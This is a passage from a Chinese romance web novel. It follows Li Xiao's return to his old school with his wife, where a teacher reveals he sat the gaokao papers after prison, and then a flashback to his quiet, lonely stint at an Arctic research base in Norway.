"我不知道我能去做什么。去打工,很多地方问过我案底,都不会要我。去做苦工,我的膝盖这样,我强撑也做不了太久。去公司正儿八经上班.….我也尝试过,最后都不成功。 “是后来陆承风找到我,告诉我,或许我还能有另一种办法活。 他不怪,毕竟谁会要一个高中学历的人。 即使他 不起仟何人 他想恨,很多人也告诉他,不要去爱了,可以恨。恨这个世界,可他究竟做不到,因为那自始至终,都是他自己的选择,他从不无故牵连 所以后来他继续留在这里。 李漾垂眸,眼瞳深不见底:“可那年,你回来了。我曾经告诉自己,不要再重蹈覆辙,不要再喜欢你了,不要给你摆笑脸。" 他喉咙艰涩:“你总是会凑上来的,我知道,只要我对你语气好一点,你不会拿我当坏人的。我没想过再在这里遇到你,润州,它那么多年折磨我。" “那你觉得这里好吗?" 陈蝉衣问他: 江面风很大,他额发吹乱,回答她:“润州不好,总是下雨,衣服也总潮。我住在这里,每晚梦醒,总是膝盖疼。 他顿了顿,看着眼前妻子皎洁的脸庞,她是江上一轮月亮。 李潇忽然又说:“可是润州也很好,有我爱了十年的人,有我唯一活过来的人生。 他恨过这里,最后深爱这里。 如果可以。 他想把这辈子所有美好的记忆,都留在这里 他半边肩膀被雨淋得湿透,掌心一片冰凉。 她温暖的小手,轻轻握住他:“阿潇,你想回一中看看吗?” 他指尖颤抖起来,喉结滚了滚:“好。 这次换她牵住他,去了学校,去看老师。 下着暴雨,一中有提前补课的学生。基本都是强化班的,那么多年过去,如今考试改革,没有选修,八班却依旧是一中最好的班。 四楼寂静,她带他去看自己以前的教室,以前的位置。 “我还在这里刻过字。 他莞尔:“刻了什么?" 她说:“你的名字。 李潇唇角笑容凝固了。她有些不好意思,含羞带怯:“上课走神,太想你了,看数学题怎么看怎么想睡觉。“那你就刻我名字?"“嗯,提神嘛!"他气笑了,把她拽到身前亲了一口:“好学生怎么也不学好。”上课是能走神的?他当她天天在四楼都好好学习呢.起码,起码不会像他那样.想她。 陈蝉衣有点委屈揉揉唇角:“那时候很喜欢你嘛,我有什么办法。廊外雨吹进来,竹林飒飒摇曳。那时候铃声响起来,放学了,教室里嘈杂声瞬间掀破屋顶,哪一届学生都一样。陈蝉衣好笑地望了望,正要走。教室门打开,有个戴小蜜蜂的女老师抱着卷子走出来,看见陈蝉衣,一愣:“唉?你不是我班上那个?" 陈蝉衣不好意思地笑:“张老师。" 张老师看见她,满脸喜悦。那是她教过最得意的学生,到现在再带学生,总要把她当例子典范。“可惜你后来转学了。不过老师这里还有你的东西,你跟老师过来拿一下?" 陈蝉衣回头看了眼李潇。 他把伞留给她 下了楼,穿过宽阔的林荫道,从空中走廊,穿过实验楼去升旗台,去食堂,去操场那年一中侧面的亭台楼阁,假山水池还在。李潇拍了几张照片,雨水淋湿他眉眼。他走出校门,环臂望着天幕,有些叹息。他想,这是他最好的一年。 张老师办公室在三楼,她把一个木头盒子交给陈衣:“这是学生挖到的。陈蝉衣一愣。“是上上届,还是哪一届的?忘了。反正他们那帮小屁孩,春天了吗,闲的没事干。我们后山竹林有笋子啊,就说去挖笋子,嘿,给挖出来的。"张老师点点盒子:“那里面有封信,写着你名字。我经常和学生说你嘛,哎哟,说他们以前有个学姐,牛得不得了,又漂亮成绩又好,理科也好,文科也好,哎的!"他们就记住你名字咯,就把盒子交给我了。"张老师叹气,"本来想寄给你的,只是你搬家了,不知道住哪里去了,这么些年也没回来看过,我总也找不到机会。”陈蝉衣眼睛有些温润。木盒子受潮,几年埋在地下,已经有些破损。里面包裹的信,却还是好好的。那道字迹,青涩却锋利,她忘不掉,它曾经出现在她作业本上,她试卷,出现在禅寺的红绸,她的梦里。 她把信展开。 张老师继续道:“这个字我也认得,你当时谈的那个.现在也有名啦,华越的工程师嘛,真有出息。老师真替你高兴。陈蝉衣却眼眸漾起水光:“张老师,您怎么会认得?"他们不在一个班,那年张老师带两个强化班,不带李。按理说不该熟悉才对。提到这件事,张老师一愣。顿了顿,才轻声说:“他后来来找过我嘛。"陈蝉衣怔怔抬起泪眼。 “那孩子,当时不是进去了?高考也没考,特别可惜,他出来的时候,年纪也不适合复读了,上不了大学,我心里也难受。张老师说:“后来是你们那届已经毕业四年…五年了吧?对,按理说你们大学都该毕业了。“那男生有回来一中,在四楼楼道那里站着,也不干嘛,就看我班上学生上晚白习。”"当时都七点多哦,天擦黑了。我认出他来了,我说诶?你出来啦,在这做什么呢?他沉默一下,忽然问我,说,老师你能帮我批卷子吗? 陈蝉衣不知道怎么走出去的。 她怀里抱着木盒子,擦干净眼泪。 “我说,批什么卷子?他说,高考卷。 “我那时候,真的觉得他很可怜,我就说好啊,批啊,我肯定照标准给你打分哦。他说好。" “后来我就跟他抽了个时间,找了个空教室,把你们那届的卷子找出来,语数外,再加物化。就给他做嘛,我也不用着他,他不作弊,就带了支笔,安安静静写。的加题也写,作文也写,规规短的,都按照高考那则。 “再后面.…就打分嘛。你是我学生,你也知道我改卷子,比一般老师都严哦?对的,严一点好,这样你们高考就松泛一点.…我就打分呀,打分,唉。 “特别可惜,你知道吗?他要是当年去高考,他那分数,能上南大的。” 雨无声无息的刺进骨骼,融进血液,她提着裙子,在雨中奔跑起来。 李潇站在林荫道的阴影里,倚在自行车旁,一身浅色棉衬衫,下摆塞进西裤。 眉眼冷清沉默。 雨水淋湿了他的发梢,肩膀,他低眸静静地等在那里,脸清晰,依稀好像回到十年前,少年模样。 他在等他的姑娘来。 雨幕中,校门口恍然出现一道白色身影。那年她穿着白色吊带裙,喘着气,翩飞的纯白裙摆,如一只向他奔来的蝶 李潇皱了皱眉,伸手一把抱住她:“你慢一点。" 她怀着孕呢,能不能注意点:“跑了摔了怎么办?" 陈蝉衣眼睛已经不红了,她说:“不会的呀,我很注意的。 他信了就是有鬼了。 李潇微微无奈低头,又轻声问:“累不累?" 陈蝉衣继续摇摇小脑袋,脸颊泛红,仰起小脸:“阿,我们老师说到你了。她弯起的眼眸清澈,是两弯浅浅的月牙。李潇一愣,看见她怀里木盒,唇色有些泛白:“说我什么?"那是他还在监狱写的信,他让陆承风的律师,替他埋在一中香樟,纬七路下。那时候他已经准备分手了。他以为这份感情不会得见天日。“说你厉害。”她明眸点点,语调温软,“说了好多你的事,都是我走之后的事,我不知道的。 所以她现在,全都知道了吧。 李潇接过伞,安静看着她细巧的眉眼。 倾泻的雨帘被伞檐隔住,浙淅沥沥,砸在地面。打湿了他肩膀,他混不在意,却被她慢慢用手拭去。 “嗯。”他很久,才找到自己的声音,喉咙有点哑了,“我之前,回学校看过老师,碰到你们老师,也和她聊过。 他避重就轻,语调里,有藏匿得不够好的颤抖。 他难堪别开眼。 不想说他做过的事,她应该只会觉得好蠢。 做了那些试卷有什么用,高考已经过去,时间不停往前,那时候四年了,物是人非。 只有他还停在原地,不肯向前。 陈蝉衣心脏疼了一片,她走之后,她不知道他是这么过的。她以为他说分手,只有她才难过 原来他和她相比,或许更甚。 她上前一步,蓦地紧紧抱住他:“我们阿吃了好多苦啊。”如此磅礴的雨,她声音浸在里面,被冲淡,听不真切,他有片刻失神。反应过来,眼眶有瞬间潸然。 他轻轻“嗯”了声。陈蝉衣眼泪洇在他衬衫,眼眶红红地,认真保证:“我以后一定不让你难过了。"“这可是你说的。"李潇倒是被这句逗笑了,换了只手撑伞,看向小妻子的目光温柔,带着三分浓情,七分炽烈,“再让我难过怎么办?她想了想,委屈巴巴伸出一只小手:“要不给你打一下手心?”他真笑了:“我舍得?"李潇俯身,突然单手托着把她抱起来,陈蝉衣惊叫一声,有点害怕地牢牢攥住他衣领。周围人听见声音,都往她这边看,有学生,还有家长。校门外林荫道,别提影响有多不好。她既紧张又羞涩,往他怀里钻:“好丢脸啊阿潇。”李潇轻笑:“丢脸什么?" “他们,他们在看” “那看。“但是。”她有点纠结,“这样真的好吗?""哦“我结婚证上午才拿到。"“哦……”那这么说,好像确实没什么问题哦?陈蝉衣抱紧他,觉得他说这种话莫名带感,可还是不好意思。最后垂了头,埋在他颈窝。”你要是怕,就抱着我,脸靠着我,他们就看不见你的脸了。"她软软应:“好。"李潇单手稳稳抱紧她,另只手撑起伞,走出了林荫道,走进了雨幕里。那是他一辈子最快乐的时刻。他问她:“你是不是最爱我?有点幼稚。但她毫不迟疑,脆生生说:“是呀,我当然最爱你呀。 他忽然笑出声。 他走在雨里,这座城到了雨季,大雨瓢泼,洗刷屋,洗刷道路,好像一辈子的心酸苦楚,在那一刻,都被尽教抹去。 93、明月·罗弗敦 庞正平第一次见到那个男人,其实是在罗弗敦。当时他正帮基地的房子拿改装木材,手机铃声响了几下,他摸出来接。 电话那头嘶嘶电流杂音,隐约还有风声呼啸,特别吵, 他应了几声就走出基地。 出门时tiot正在和警岗亭的警卫沙架,那是他本周第三次和警岗亭发生口角。前面八次,警岗享白胖的美国佬还愿意听他进行狡游-一他不知道从哪里看来的政略,非要出基地垂钓,钓鳕鱼,并且答应平分。 警岗亭对这个条件非常心动,佯装溜号,把他放出去过几次。 结果Eliott一次都没有带回鳕鱼。 于是本周, 他妄想故技重施,可爱的美国佬拔抢抵住了他额顶页。 “好吧,但是我告诉你,我确实是个非常厉害的鳕鱼钓手,在我们学校——我说的是还在马赛时,出海帆船与垂钓比赛,我总是第一。别拿这玩意指着我,否则近两年你将彻底失去鳕鱼!" 庞正平憋得想笑,他从驾驶座探出身体:“借过。出去接个人。他向警岗亭出示证件。美国佬照例询问:“地址。“博得机场。美国佬了然点点头:“是之前说要来基地的那个中国人?"“是的,他不知道从特罗姆瑟到罗弗敦,需要转两次机, 现在他滞留博得了,我得去把他接回来。" 美国佬看了眼沉郁的天,已经开始飘雪:“我想你得快些。"“晚饭前一定回来。”美国佬点点头, 摁下按钮。雪片随着铁门的开启一瞬间涌入,片片飞舞,庞正平迅速钻进了车里。太冷了,Eiott急得跳脚:“门都已经开了,再让我出去一次又不会怎么样!"他的呼声被远远甩在身后。 那天是十月再平常不过的一个夜晚,基地在为一个月后即将到来的极夜做准备。庞正平此前在欧洲待了七年,其中北欧四年,从ETH顺利毕业后,他放缓了回国发展的步调。 身边曾经一起爬过少女峰的同学、同事,几乎已经全部回国。 成家立业,结婚生子。 只有他还在北极圈漂着。 年前和妈咪视频一次,当时正在追鲸。中年却依旧时髦的妈咪问他:“喂,你喺边度啊? 庞正平直接将镜头对准冰山。 大鲸鱼甩尾一闪而过,气得妈咪直接挂断电话:“你扯啦!冬日出海睇冰山,发瘟! 庞正平哈哈大笑。 他在北极圈待着的事,一直没什么人理解,家里也就老妈没有明面反对。尽管不说多么赞成,起码不会劝他早日结婚,让他们二老放心。 这点就比陆家的老爷子好得多。庞正平在北欧几年,听得最多的,就是陆承风的抱怨。说他家老爷子,要给他床上塞女人,烦得很庞正平哇一声简直想笑:“塞女人还烦,又不是塞男人。“你收声啦。”他学他讲话,“再讲我就给你塞男人。“靠,我性取向很标准。 被陆承风无情潮笑,说是吗,那真是更惨了,性取向也没有问题,这么多年没找女人,难不成那方面不行?庞正平气乐,用粤语骂他收声啊!陆承风说等他回国,见面帮他线,他说睇到你那高,尊容就炮啦,气炮啊! 那边持续笑了几声。 顿了顿:“可我真得给你塞个男人。 十月出头,罗弗敦小雪。 庞正平的车驶进博得机场,在路边停下。 机场外的等候站台,已经被一层薄薄积雪覆盖,顶棚往下簌簌抖落雪片。罗弗敦人烟稀少,此刻站台,只有对年轻小夫妻。 庞正平裹紧羽绒服往里走,终于在站台角落,看见一个年轻男人清瘦的身影。 漫天雪飞,他身形颀长清隽,逆着路灯昏暗的光影。 他额发被风吹得纷乱了,雪进来,眼睫一层霜,深色羽绒服敞开,围巾一角在风中飞扬。 萧索,清寂。 这是庞正平对他的第一个印象。 罗弗敦入夜进入安静时刻,城市的剪影在他身后,被拉成很淡、很长的一条线。 庞正平顿住脚步,片刻后,走向他:“你是,李先生? 大约是许久没听见普通话,尽管他说得不太标准,有一点点夹杂闽粤地区的口音。 男人却还是抬起头,眸子倒映天幕飞雪,漆黑无声。 他迟疑后,微微点了点头。 庞正平邀请他上车休息:“车上有暖气,大概两个小时,我们能到达基地,你可以睡会儿。"他继续领首,起身拎起地上行李。 “我来吧。”庞正平垂眸扫了眼他膝盖,弯曲得僵硬。他推测这男人或许有腿疾,极夜将要来临,凛冬覆盖,这不是什么好事。 然而对方抿抿唇,不动声色将东西拎在手中,慢慢避开了他的手。 不好接触。 这是庞正平对他的第二个评价。 他落后几步,看夜色里雪落下,男人高大的身影被缓慢吞。他喊了声:“诶。 男人停下脚步,微微侧过身,唇色白得发冷。 庞正平说:“以后下了飞机,最好把外套拉链拉上,入夜不是闹着玩,零下几十度也是常见的。 男人一愣,随即很轻很轻地点了头。 他倒是沟通起来不费劲,就是不知道专业本事如何。庞正平心里略微满意,追上前几步,抬头望了眼天幕。 雪下得益发深刻,然而月亮倒是隐约升起来了。 那个男人从此在基地住了下来,基地成员问他名字,他说他叫李“潇,什么意思?"庞正平:“就是下雨下很大。 “喔。”Eliott将木材板边缘打孔,很自然冒出句法语,“il pleut des cordes"这回轮到一个加拿大人听不懂了:“什么意思?"庞正平点了支烟解释:“it''s pelting down"极其标准的英式英文发音,这是他在欧洲几年修习的成果,他精通英语法语,对西语也有些研究——这部分属于听多了就懂了。 加拿大人瞬间领悟,夸了两句这名字真有趣。 倒是李潇,始终没开口说一句话。 庞正平偏头看向他,递了支烟:“抽吗?”这句是中文。李潇摇了摇头,低眸将自己工具箱里的东西倒出来。他在找笔,那种绘图专用的记号笔,基地准备了很多,基本能人手一把,他却很固执,只拿一支别人笔随意丢,没了就再拿新的,只有他会坚持不懈找。 固执话少。这是庞正平对他的第三个印象。从来到这里之后,李漾就表现得对一切事务兴致缺缺。他们进基地第一件事是没收手机,只配备基地专用的通讯设备,每个人到这个环节都怨声载道,只有他。美国佬来收手机时,李很平静地说:“我没有手机。美国佬冷嗤,非常不屑,“先生,换点新鲜的玩笑,这个借口我们听烂了几乎每个安想躲避排查的人,都会编出这么一套理由:没有,没带,反正说来说去就那么几样,原因倒是各有各说法丢了。美国佬才不信,每次都会被检查出来。 然而这次这个男人,却平静地重复清晰低诉了一遍:“我没有手机。“被查到你就死定了!”美国佬没了耐性,枪扔到一边雪地,粗鲁地推操了两下,扯开他的背包和外套,Eliott当初就被这么查过,用法语大声提醒:“你还是自己交代吧!他们可不好糊弄!”他拜托庞正平翻译成中文。庞正平摇了摇头,眸光静静看着那男人。 东西散了一地,他们什么也没有查出来,竟然真的像他所说,他没有手机。摸查到边边角角不放过,他甚至连其余通信设备都没有。当初拨给庞正平的电话,还是用街边小店的座机拨出,他信息点都对的上,庞正平没有怀疑 美国佬离开,李漾蹲在地上,不声不响收拾残局。他唇色总是微白,人犹带几分病态,那双瞳孔又极黑,极深,风愈刮愈烈,铺天盖地都是雪。没有适应这里的环境,他指尖冻红了,膝盖无法做太多动作,蹲下的姿势像是断了腿,很诡异。 Eliott看了半天,有点不忍心,提着裤子跑过去帮他收拾。男人极黑的眼瞳看他一眼,安静道:“谢谢。"Eliott不在意摆摆手:“不用,很没必要,你也不用为那个ittle fatty生气,他就是这种粗暴性格,我们都被他弄过的! 庞正平走过去:“打住,那是你,我们可没有偷吃鳕鱼。提起这个,Eiot极其生气了:“这真的很奇怪!我当年在埃克斯马赛上学,我保证我的垂钓水平无人能敌,整个蔚蓝海岸港口,找不到有我第二个能的語鱼的人!只是大西洋的暖流并不欢迎我。所有人都笑了,Eiott是个非常有意思的年轻人,十分认可自己的经历,时常将家乡马赛挂在嘴边。当然他偶尔也会提到巴黎理工学院,那是他读研究生时的大学他会经常说:“知道么,庞加莱是我的校友。别人问哪个庞加菜,Eliott说:“你当全世界几个庞加菜?当然是庞加莱回归的那个庞加菜。 只有那个男人没有笑。 他从Eliott手上接过背包,转身回了房间。 庞正平吐了口烟,烟雾瞬间朦胧视线。他看见海边木屋,靠近最里面那座,窗帘被拉起来。 将近十一月了,一个月的时间。 极夜即将开始,他没有听见那男人说更多的话。 他是个过于沉默的人,没有人知道他在想什么,漆黑安静的眼睛,也暴露不出他内心所需。他有时看雪,有时淋雪,夜深就看月亮,去找星星,他好像很喜欢拾头望天,凝望宇宙,Eliott的那套庞加菜,他是唯一愿意倾听的男人。庞正平觉得好笑:“你真的不觉得小Eiott说得很神叨吗?”他临时换了个词,原本他想说的是神经,后面保留了颜面.那时候李潇在重新整理房间。他在基地的木屋不大,十二个平方,只有一张床,一张木桌,一个衣柜。 他的行李箱塞在床底,李潇将常用的东西收出来。 庞正平随意一扫,桌上光秃秃,靠墙是个相框。 里面是张合照,庞正平看去,照片中女生有一张姣好容颜,清纯漂亮,好像少女峰下的小溪他胸膛闷笑,原来这张合照也是常用物品之一吗。他听见男人说:“如果真有回归,那也是好事。连声音也是低哑的,沉默到几乎让庞正平觉得,或许他这辈了不会吐露更多话了。他不应该待在峡湾,他应该去柬埔寨,去吴哥窟。 李潇好像晃了下神:“去吴哥窟,做什么。庞正平在他身边坐下来:“你没有看过梁朝伟的《花样年华》?"他微愣,摇摇头。“这么经典的片子你没看过?吴哥窟就是梁朝伟剖白自己的地方咯,以前的人呢,有秘密就会找个树洞,躲起来,讲给树洞听。感觉你也需要一个。可李潇没有看过这部电影。在极夜到来前夕,听到这段别有深意的提醒。 他笑一笑,不说话 94、极夜·特罗姆瑟 .. 十二月初极夜笼罩时,基地在准备欢度圣诞节,Eiott非常高兴,因为这意味着新年时,他们有一个不长不短的假期,大约两周,基地将前往特罗姆瑟.那地方是挪威以北最大城市,有传说中地球最北端的麦当劳。峡湾雪原,基地的成员一直想去体验雪橇,当然,更兴奋的是,抵达特罗姆瑟,他们的出海航程就要开始了在基地时几乎都在做技工,有教授指导, 是国防战略军事科技上的熟悉面孔。教授督导全程,所有人时刻神情紧绷。Eliott就很怕那位教授。他和李漾在工房是一组,李漾不会法语,英语也说得磕磕巴巴, 只能言简意赅,简单表达自己的意思。可即便他话少,性格清冷,和老师对话,哪怕不流利也并不会怵——他交上去的东西是最有用的,根本不用多费口舌从正式试验到深海投放,还需要在研究室进行统测与功能调试,这个过程,通常会持续几个月。 基地有私人工房,李潇并不藏私,他自己的部分完成,会帮其他成员攻克难题。Eliott是纯正法兰西血统懒散惯了。一年三百天,当学生时,他家乡一百多天都是法定假日,他骨子里就紧迫不起来“我真的不懂你为什么这么高强度,累了就休息,不好吗?" 男人最初笑了笑,低眸拿笔继续在纸上演算,并没说什么。 Eliott拖凳子坐到他身边:“而且弄得那么疲惫,天呐,真是想象不出来,你的人生还有什么意思。 李潇笔尖停顿,油墨在草稿纸留下深深团黑痕迹。他敛了笑容,眼眸那时候变得深不见底:“我得早点回家。 不是“想”,是“得” Eliott哈欠都咽回去了,愣愣说:“可是你知道我们可能回不了家的吧?"来的时候没人告诉他吗,不应该吧?风险评估通知书看过了,心理监测也都通过了,他应该知道可能会待在这里,起码,很长一段时间吧?如果运气不好,说不定直接进行海葬。墓地都省了。 不过没人希望这件事发生。 Eliott拧着粗短的眉毛,皱眉不解看着他。 他似乎想在男人那张深刻脸庞上,看出点什么。然而氛围沉默片刻,就像默片在走,那男人只是喉结滚了滚,声音暗哑道:“嗯。’ 他平静说:“我知道的。 那晚庞正平去看李潇,他进去房间时,男人正伏在桌案写东西。落笔的神情克制认真,木屋开了盏暖黄的灯,光照在他脸上,半边脸廓忽明忽暗。“在写什么?"李潇停笔。庞正平凑过去,发现是本深蓝色封面的厚本子:“日记?“李潇微微领首。“我听Eliott说他今天上午惹你不高兴了?他这人就是这样,法国佬你懂的,闲出屁还嘴碎,你别理。"李潇说:“我没有不高兴。”庞正平有些哑然:“他说你当时提到想回家,他好像态度上……” 李潇别开眼,继续拿起了笔,语调波澜不兴:“他没有说错,这些在我来之前就清楚。我想早点回家,或许安想,我知道不能当真,他提醒我,也不是出于恶意。所以不会生气,也没什么好发脾气。他没有情绪,机械而正常地完成任务,正常地像往常一样,食饭睡觉,在日记本上留下痕迹这些就够了,他没有更多奢望了。 庞正平唇颤了颤,望着他坚毅深刻侧脸,有一瞬间,竟然不知道该说什么。这个男人比他想象中,更加情绪稳定,当然,如果这还能用情绪稳定形容的话。他从无喜怒哀乐,从不恐惧。前两天扫积雪,扫着扫着就开始打雪仗,两个美国玩了,拿枪指着天。这里大多是欧盟区成员,没见过拿着枪的阵仗,都吓到了,四散奔逃,他没跑。 庞正平侧着身避进屋檐下,看见李潇还坐在石头上。 他在休息,他腿脚不好。即使李从未说过,可是冬天来临,他经常一瘸一拐走进雪地,这是大家心照不宣的事鹅毛雪片砸落,很快淹没礁石上那抹身影,大约隔了十几秒,休息结束。他重新起身,拿起铲子铲积雪。 美国佬也呆了,大概很少见到这样的人。走过去和他说了几句什么,李神情未变。庞正平见他扯唇,轻轻说了声好。 他眉陡然一压,李潇就是这样一个人。 基地的联欢他很少参加,即便在场也不会开口。他喜静,总是坐在角落里,把身体隐在暗影里有时候庞正平喝酒喝嗨,从第一排回头,能看见角落里,他静静望着前方愣神的侧脸。所有喧嚣热闹里,他最孤独了。他就像是一滩平静的死水,没有情绪也没有悲喜。联欢时所有人都喝酒唱歌,庞正平也唱。庞正平本科就是在国外念,即便性格再内敛,大大小小学校晚宴参加遍,这种活动上,也能游刃有余。那晚他们在木屋燃了篝火,外面太冷,所有人瑟缩着取暖,在屋里火上烤食物和热可可。 庞正平拍了拍麦,笑着说:“唱一首经典老歌。 是首国语,刘德华和陈慧琳的《我不够爱你》在场只有他和李潇两个华人,其余的都没听过。庞正平清了嗓子,唱得专注很动情。 那年港星都不年轻了,陈慧琳老去,刘德华也早不再风华正茂,渐渐隐退歌坛。新出生的小孩不太知道他了 “我想我不够爱你,我不曾忘了自己, 没那么全心投入,所以会一败涂地。 场地里昏暗安静一片,只有他举着酒瓶,吊灯投下他含笑唱歌的剪影庞正平唱这首歌只是因为喜欢,也没什么特别的含义。那首歌节奏很缓,有些悲伤,他唱到后来,很偶然地余光一撇,看见角落深处,男人蜷缩着場下肩膀的身影。庞正平卡壳一瞬,很快恢复正常。只是那道黑影那么清癯,那么落拓,像大风摧倒的竹。庞正平有一秒,竟然不敢再看。 他嗓音艰涩唱到副歌: “不能在没有月亮的夜里,也不能轻易地闭上眼睛因为你会出现在天空或心里。不能在一望无尽的地方,也不能钻进那拥挤人群因为寂不寂寞都会提醒我, 我失去了我不够爱的你。 昏暗卡座看不清男人的脸,只能看见他抿唇,侧头看着屏幕,无声安静。明明暗暗的光影照着他眼睛,火光也烤着他眼睛,那时候他呼吸清幽,窗外夜色浸诱庞正平唱到最后一句,发现他眼睫颤了颤,有什么晶莹一闪,快速落,无声砸在了手背上。 庞正平声音一沙。 如果不是后来联欢结束,散场时,李撑着墙壁起身,悄然走到他身边,问他:“那首歌可以拷给我一份吗? 声音嘶哑难听。 庞正平几乎要以为,那滴泪不过是他喝多酒的错觉 思绪堪堪收回,庞正平不再靠着他那张书桌,提醒他:“去北部港口之后,可能有很长一段时间在海上,你要是晕船,尽早准备。 男人淡淡嗯。 “对了。”庞正平走一半路又回头,转身含笑说,“生日快乐。 那是-二月六日,对于别人来说,只是当通天,可对于李潇,那是他二-八岁生日二十八了,距离趋近魂销骨散般折磨的二十七岁,他更老了一岁,也离曾经刻骨铭心在出租屋的岁月,更远了。出租屋还在,梦溪路上梧桐飘落,今年他看不见了。李潇这回是真的愣怔,抿了抿唇,唇色依旧模糊苍白,他轮廓笼在一团朦胧暖光中,看不真切了。那晚庞正平倒是把梁朝伟的电影,重新看了一遍。夜色浓重,他看完,摁下遥控器,“都怪这花样年华太美丽.”庞正平拉开窗帘,起床倒杯热水喝。 窗前,罗弗敦的夜色,浮动着一层温柔孤独的蓝。这是国内旅游长篇大论宣传过的“blue hour”,俗称蓝调时刻,他们说,蓝调降临时,整个世界会为此沉寂他喝水的动作微微一顿。礁石旁就是墨蓝色海域,冬日落雪纷纷扬扬酒下。他看见那里坐着一个人,很安静,他仍旧敞着怀,深色羽绒服在雪中显眼,却又和黑色礁石融为一体。白色烟雾袅袅升起。那男人在抽烟。 庞正平将杯子捧在掌心,莫名其妙地,多看了两眼。毕竟不是谁都有这样闲情逸致,零下将近三十度的天气,坐在潮湿礁石上,静静抽一支烟 烟雾让他看不清男人的脸,雪花飘得密集。后来男人没再抽了,只是将烟夹在指尖。雪落下来,淋湿他头发,也淋湿了烟身,他脸埋在臂弯片刻后,他将那只烟放在了礁石上,转身离去。 汹涌的浪水很快肆虐,吞噬了那支孤零零的烟头 很久之后,庞正平想起这一幕,恍然明白。 或许那晚,他不是在抽烟。 他是在过生日吧。 点一支烟,替自己许愿。 搬到特罗姆瑟后,Eliott兴致勃勃邀请他们上街采购。“去啊,挪威的毛绒袜子很有名哦,连锁便利店都在卖。这么冷,你们确定不带几双回去?" 庞正平说:“小马赛,你很像搞推销的。"Eliott并不恼,嘿嘿一笑。他最近已经习惯了这个称呼:“那看来我的宣传很有用?你们真的不去吗?庞正平侧头看一眼李潇:“你去吗?" 他们三个人一间宿舍,两个都外出了,就剩他在屋里也不太好。不过李性子清冷,向来寡言少语。庞正平还以为他会拒绝。然而地毯上,摆弄电脑的男人抬头:“嗯。" 庞正平挑了挑眉。挪威的冬月十分寒冷,Eiott出门羽绒服裹了两件,还是冷得直跺脚。庞正平向他推销:“你可以试试暖宝宝,那东西贴在脚上,多少能缓解。Eliott惊奇:“真的吗?在哪能买。” “中国咯。 Eliott气哼哼推开便利店的门。庞正平嘲笑着追进去:“别不高兴嘛,如果你诚心想要,我也可以卖给你啊,我有多的。 小马赛翻个白眼说用不着,庞正平就又问李潇。 李潇温和笑了笑:“我也不用了。 庞正平收住嘴没再出声,视线扫过男人干燥的嘴唇。所有人里,只有李潇是穿得最少。连庞正平自己都套了棉毛衫,羊绒衫,羽绒马甲背心,外面一件羽绒服。 而李潇拢共就两件。 毛衣,羽绒服,再没有了。 他看着像是冷的模样,毕竟唇总是泛白干裂,可他也从来不说。 李潇指尖在罗弗敦冻伤过,那时候清理碎石,他没有手套。或许性格使然,他不开口求助,硬生生徒手搬离。 后来手指被划得鲜血淋漓,冬天不见好,紧接着生冻疮。 现在的手指,挺难看的。 庞正平提醒他:“要不你买双手套?" 李潇弯唇,视线却又移开,温柔落在木架子的那排新年小人上。那是一整套,有很多小精灵,庞正平说那是有名字的,他们过新年,通常都会集齐一套。不过庞正平不认为他会买,毕竟一个大男人,这东西一看就是给小孩子玩的啊。然而他看见李潇问收银:“多少钱?"收银说了价格。李潇点点头:“麻烦你,帮我都包起来。"庞正平有点震惊,Eliott也说:“我好像三岁就不玩这种东西了。他是怎么了?"庞正平说不好。 特罗姆瑟的大小便利店,几乎都有极地风光的纪念品,冰箱贴,明信片,应有尽有收银将那一套木雕小人打包好,笑吟吟递给李。李潇正低眸看着货架上的明信片。 收银说:“先生,明信片可以帮您写哦,用挪威语。 李潇抬眸,唇张了张。 最后他轻轻弯唇:“好。 收银让他挑了张喜欢的:“您想要写什么祝福呢。 庞正平凑在一边听,连小马赛也不选了,很好奇眼巴巴盯着他。 万众瞩目下,男人笑容依然温和平静,好像只是随意在商场闲逛。 他说:“帮我写:给女儿。” 庞正平眼睛一颤。 新年的前一夜,特罗姆瑟海港升起一弯新月,庞正平跟在李漾身后,走出便利店,来到挪威大街。 街道张灯结彩,月夜温柔,风雪呼啸着穿透男人的怀抱与眉眼。 95、平浪·挪威海 Eliot对新年前夜那晚的事念念不忘,事后无数次和庞正平打听:“他有女儿?他这么年纪轻轻已经结婚有女儿?怪不得他说他得早点回家。 对此,庞正平其实也不知情,只是莫名想起男人书桌上,那张相框里的合照。 长安街他也去过,还是年少时和家里人去的。 当时家里爷爷腿脚不便了,最大的心愿是去看升旗。庞正平答应他,如果有可能,今后在京城买一个小家,这样老人家每天都可以去看升旗。 庞正平说:“不知道,我也没有详细问过,不过你最好别去,或许他不会想回答。”他总觉得事情没有想象中简单。会有哪个男人,愿意家庭美满和乐融融时,只身犯险,抛下妻女?庞正平不认为李潇有那么不负责。Eliott表示理解:“少打探别人隐私,这点绅士礼貌,我们马赛人从小就懂。 庞正平轻声一笑低睫,视线落在厨房边,房门上。 那是李潇的房间。 新年欢聚,他不喜欢出来。 特罗姆瑟的基地偏僻,建在茫茫雪原,如果要出行,需要申请报备,且随行会跟随警卫,其实很麻烦然而毕竟是新年,基地成员宁可麻烦。李潇是唯一对此无动于衷的男人,连庞正平假期在基地宿舍待得憋闷,都会想出去透透风 他却总是把自己关在房间里。 没人知道他在里面做什么,有次庞正平开电脑,做模拟测算。摸了摸口袋,想起来备份数据的优盘,好像放李漾房间了——前晚李潇问他借了优盘拷贝。庞正平敲了敲李潇的门:“能进吗?”房间里没人回应。 庞正平挑眉,推开缝隙。房间里昏暗一片,窗帘拉着,男人半躺在床上,深灰色被子臃肿堆在胸膛,他穿睡衣,那种棉质的布料,穿在他身上,有一种安静、深沉的孤独感李潇右膝盖弯着,电脑搁在身前,头戴式耳机罩住耳廓。屏幕光亮闪闪烁烁,大概是在看电影。 难怪听不见。 庞正平一哂,又重重敲了几声。 男人一愣,终于迟钝转开视线,微微偏头看了过来。 动作很缓,脖颈也卡住,望来的眼神有很长一段时间的愣怔。 他瞳孔游移,许久才恢复清明。 “怎么了?”嗓子哑了。 “我拿优盘,好像落你这了。"李潇也想起来:“抱歉,我放书桌上了。”他起身,想要掀开被子。 庞正平这才看清被子里面情形,也明白刚才为何觉得不对劲了。李潇的右膝盖是能动的,脚掌撑着床面,膝盖弯曲的弧度正常。 而另一条腿,他起身下床时,显得那么挺直,那么僵硬。 庞正平立刻说:“哦,书桌上是吧,那我自己拿好了。”书桌整洁放着书笔等用品,庞正平一眼看到优盘,。揣进口袋笑嘻嘻说:“大冬天太冷了,别离开被窝了,他把门关上,男人凝然的视线被隔绝在里。 庞正平在门口站了很久,这才转身去厨房,大声招呼Eliott今晚上准备吃什么, 